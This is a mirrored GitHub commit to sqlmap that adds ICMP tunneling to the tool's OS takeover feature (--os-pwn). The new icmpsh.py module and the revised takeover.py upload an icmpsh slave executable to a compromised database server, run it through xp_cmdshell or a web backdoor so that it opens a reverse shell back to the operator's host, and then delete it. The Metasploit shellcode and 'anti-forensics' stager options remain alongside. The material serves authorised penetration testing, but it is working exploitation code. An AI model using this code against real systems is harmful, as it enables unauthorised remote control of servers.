Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit a391be8

Browse files
committed
Implemented ICMP tunneling for out-of-band takeover (--os-pwn) as an alternative to TCP tunneling (Metasploit). It relies on icmpsh, the back-end dbms server has to be Windows as the icmpsh slave runs on Windows only for the moment. sqlmap needs to be executed as root to work.
1 parent 1870e17 commit a391be8

2 files changed

Lines changed: 219 additions & 50 deletions

File tree

lib/takeover/icmpsh.py

Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
7+
See the file 'doc/COPYING' for copying permission
8+
"""
9+
10+
import codecs
11+
import os
12+
import re
13+
import stat
14+
import sys
15+
import time
16+
17+
from select import select
18+
from subprocess import PIPE
19+
from subprocess import Popen as execute
20+
21+
from extra.icmpsh.icmpsh_m import main as icmpshmaster
22+
23+
from lib.core.common import dataToStdout
24+
from lib.core.common import getLocalIP
25+
from lib.core.common import getRemoteIP
26+
from lib.core.common import getUnicode
27+
from lib.core.common import normalizePath
28+
from lib.core.common import ntToPosixSlashes
29+
from lib.core.common import pollProcess
30+
from lib.core.common import randomRange
31+
from lib.core.common import randomStr
32+
from lib.core.common import readInput
33+
from lib.core.data import conf
34+
from lib.core.data import kb
35+
from lib.core.data import logger
36+
from lib.core.data import paths
37+
from lib.core.exception import sqlmapDataException
38+
from lib.core.exception import sqlmapFilePathException
39+
from lib.core.subprocessng import blockingReadFromFD
40+
from lib.core.subprocessng import blockingWriteToFD
41+
from lib.core.subprocessng import setNonBlocking
42+
from lib.request.connect import Connect as Request
43+
from lib.takeover.upx import upx
44+
45+
46+
class ICMPsh:
47+
"""
48+
This class defines methods to call icmpsh for plugins.
49+
"""
50+
51+
def __init__(self):
52+
self.lhostStr = None
53+
self.rhostStr = None
54+
self.localIP = getLocalIP()
55+
self.remoteIP = getRemoteIP()
56+
self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe"))
57+
58+
def __selectRhost(self):
59+
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
60+
address = readInput(message, default=self.remoteIP)
61+
62+
return address
63+
64+
def __selectLhost(self):
65+
message = "which is the local address? [%s] " % self.localIP
66+
address = readInput(message, default=self.localIP)
67+
68+
return address
69+
70+
def __prepareIngredients(self, encode=True):
71+
self.lhostStr = self.__selectLhost()
72+
self.rhostStr = self.__selectRhost()
73+
74+
def __runIcmpshMaster(self):
75+
infoMsg = "running icmpsh master locally"
76+
logger.info(infoMsg)
77+
78+
icmpshmaster(self.lhostStr, self.rhostStr)
79+
80+
def __runIcmpshSlaveRemote(self):
81+
infoMsg = "running icmpsh slave remotely"
82+
logger.info(infoMsg)
83+
84+
self.__icmpshSlaveCmd = "%s -t %s" % (self.__icmpslaveRemote, self.lhostStr)
85+
86+
cmd = "%s &" % self.__icmpshSlaveCmd
87+
88+
if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct):
89+
cmd = self.xpCmdshellForgeCmd(cmd)
90+
91+
self.execCmd(cmd, silent=True)
92+
93+
def uploadIcmpshSlave(self, web=False):
94+
self.__randStr = randomStr(lowercase=True)
95+
96+
if web:
97+
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (self.webDirectory, self.__randStr)
98+
else:
99+
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (conf.tmpPath, self.__randStr)
100+
101+
self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote))
102+
103+
logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote)
104+
105+
if web:
106+
self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory)
107+
else:
108+
self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary", False)
109+
110+
def icmpPwn(self):
111+
self.__prepareIngredients()
112+
self.__runIcmpshSlaveRemote()
113+
self.__runIcmpshMaster()
114+
115+
debugMsg = "icmpsh master exited"
116+
logger.debug(debugMsg)
117+
118+
self.delRemoteFile(self.__icmpslaveRemote, doubleslash=True)

plugins/generic/takeover.py

Lines changed: 101 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -8,21 +8,24 @@
88
"""
99

1010
from lib.core.common import readInput
11+
from lib.core.common import runningAsAdmin
1112
from lib.core.data import conf
1213
from lib.core.data import kb
1314
from lib.core.data import logger
1415
from lib.core.exception import sqlmapMissingMandatoryOptionException
16+
from lib.core.exception import sqlmapMissingPrivileges
1517
from lib.core.exception import sqlmapNotVulnerableException
1618
from lib.core.exception import sqlmapUndefinedMethod
1719
from lib.core.exception import sqlmapUnsupportedDBMSException
1820
from lib.takeover.abstraction import Abstraction
21+
from lib.takeover.icmpsh import ICMPsh
1922
from lib.takeover.metasploit import Metasploit
2023
from lib.takeover.registry import Registry
2124
from lib.techniques.outband.stacked import stackedTest
2225

2326
from plugins.generic.misc import Miscellaneous
2427

25-
class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
28+
class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
2629
"""
2730
This class defines generic OS takeover functionalities for plugins.
2831
"""
@@ -32,6 +35,7 @@ def __init__(self):
3235
self.tblField = "data"
3336

3437
Abstraction.__init__(self)
38+
ICMPsh.__init__(self)
3539

3640
def osCmd(self):
3741
stackedTest()
@@ -84,64 +88,105 @@ def osPwn(self):
8488

8589
stackedTest()
8690

91+
self.checkDbmsOs()
92+
93+
msg = "how do you want to establish the tunnel?"
94+
msg += "\n[1] TCP: Metasploit Framework (default)"
95+
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
96+
97+
while True:
98+
tunnel = readInput(msg, default=1)
99+
100+
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in ( 1, 2 ):
101+
tunnel = int(tunnel)
102+
break
103+
104+
elif isinstance(tunnel, int) and tunnel in ( 1, 2 ):
105+
break
106+
107+
else:
108+
warnMsg = "invalid value, valid values are 1 and 2"
109+
logger.warn(warnMsg)
110+
111+
if tunnel == 2 and kb.dbms != "Windows":
112+
errMsg = "icmpsh slave is only supported on Windows at "
113+
errMsg += "the moment. The back-end database server is "
114+
errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
115+
logger.error(errMsg)
116+
117+
tunnel = 1
118+
119+
if tunnel == 2:
120+
isAdmin = runningAsAdmin()
121+
122+
if isAdmin is not True:
123+
errMsg = "you need to run sqlmap as an administrator "
124+
errMsg += "if you want to establish an out-of-band ICMP "
125+
errMsg += "tunnel because icmpsh uses raw sockets to "
126+
errMsg += "sniff and craft ICMP packets"
127+
raise sqlmapMissingPrivileges, errMsg
128+
87129
if kb.stackedTest or conf.direct:
88130
web = False
89131

90-
self.initEnv(web=web)
91132
self.getRemoteTempPath()
133+
self.initEnv(web=web)
92134

93-
if kb.dbms in ( "MySQL", "PostgreSQL" ):
94-
msg = "how do you want to execute the Metasploit shellcode "
95-
msg += "on the back-end database underlying operating system?"
96-
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
97-
msg += "\n[2] Stand-alone payload stager (file system way)"
135+
if tunnel == 1:
136+
if kb.dbms in ( "MySQL", "PostgreSQL" ):
137+
msg = "how do you want to execute the Metasploit shellcode "
138+
msg += "on the back-end database underlying operating system?"
139+
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
140+
msg += "\n[2] Stand-alone payload stager (file system way)"
98141

99-
while True:
100-
choice = readInput(msg, default=1)
142+
while True:
143+
choice = readInput(msg, default=1)
101144

102-
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
103-
choice = int(choice)
104-
break
145+
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
146+
choice = int(choice)
147+
break
105148

106-
elif isinstance(choice, int) and choice in ( 1, 2 ):
107-
break
149+
elif isinstance(choice, int) and choice in ( 1, 2 ):
150+
break
108151

109-
else:
110-
warnMsg = "invalid value, valid values are 1 and 2"
111-
logger.warn(warnMsg)
152+
else:
153+
warnMsg = "invalid value, valid values are 1 and 2"
154+
logger.warn(warnMsg)
112155

113-
if choice == 1:
114-
goUdf = True
156+
if choice == 1:
157+
goUdf = True
115158

116-
if goUdf:
117-
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
118-
else:
119-
self.createMsfPayloadStager()
120-
self.uploadMsfPayloadStager()
121-
122-
if kb.os == "Windows" and conf.privEsc:
123-
if kb.dbms == "MySQL":
124-
debugMsg = "by default MySQL on Windows runs as SYSTEM "
125-
debugMsg += "user, no need to privilege escalate"
126-
logger.debug(debugMsg)
127-
128-
elif kb.os != "Windows" and conf.privEsc:
129-
# Unset --priv-esc if the back-end DBMS underlying operating
130-
# system is not Windows
131-
conf.privEsc = False
132-
133-
warnMsg = "sqlmap does not implement any operating system "
134-
warnMsg += "user privilege escalation technique when the "
135-
warnMsg += "back-end DBMS underlying system is not Windows"
136-
logger.warn(warnMsg)
159+
if goUdf:
160+
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
161+
else:
162+
self.createMsfPayloadStager()
163+
self.uploadMsfPayloadStager()
137164

138-
elif not kb.stackedTest and kb.dbms == "MySQL":
139-
infoMsg = "going to use a web backdoor to execute the "
140-
infoMsg += "payload stager"
141-
logger.info(infoMsg)
165+
if kb.os == "Windows" and conf.privEsc:
166+
if kb.dbms == "MySQL":
167+
debugMsg = "by default MySQL on Windows runs as SYSTEM "
168+
debugMsg += "user, no need to privilege escalate"
169+
logger.debug(debugMsg)
170+
171+
elif kb.os != "Windows" and conf.privEsc:
172+
# Unset --priv-esc if the back-end DBMS underlying operating
173+
# system is not Windows
174+
conf.privEsc = False
142175

176+
warnMsg = "sqlmap does not implement any operating system "
177+
warnMsg += "user privilege escalation technique when the "
178+
warnMsg += "back-end DBMS underlying system is not Windows"
179+
logger.warn(warnMsg)
180+
elif tunnel == 2:
181+
self.uploadIcmpshSlave(web=web)
182+
self.icmpPwn()
183+
184+
elif not kb.stackedTest and kb.dbms == "MySQL":
143185
web = True
144186

187+
infoMsg = "going to use a web backdoor to establish the tunnel"
188+
logger.info(infoMsg)
189+
145190
self.initEnv(web=web)
146191

147192
if self.webBackdoorUrl:
@@ -156,18 +201,24 @@ def osPwn(self):
156201
logger.warn(warnMsg)
157202

158203
self.getRemoteTempPath()
159-
self.createMsfPayloadStager()
160-
self.uploadMsfPayloadStager(web=True)
204+
205+
if tunnel == 1:
206+
self.createMsfPayloadStager()
207+
self.uploadMsfPayloadStager(web=web)
208+
elif tunnel == 2:
209+
self.uploadIcmpshSlave(web=web)
210+
self.icmpPwn()
161211
else:
162212
errMsg = "unable to prompt for an out-of-band session via "
163213
errMsg += "the back-end DBMS"
164214
raise sqlmapNotVulnerableException(errMsg)
165215

166-
if not web or (web and self.webBackdoorUrl is not None):
167-
self.pwn(goUdf)
216+
if tunnel == 1:
217+
if not web or (web and self.webBackdoorUrl is not None):
218+
self.pwn(goUdf)
168219

169-
if not conf.cleanup:
170-
self.cleanup()
220+
if not conf.cleanup:
221+
self.cleanup()
171222

172223
def osSmb(self):
173224
stackedTest()

0 commit comments

Comments
 (0)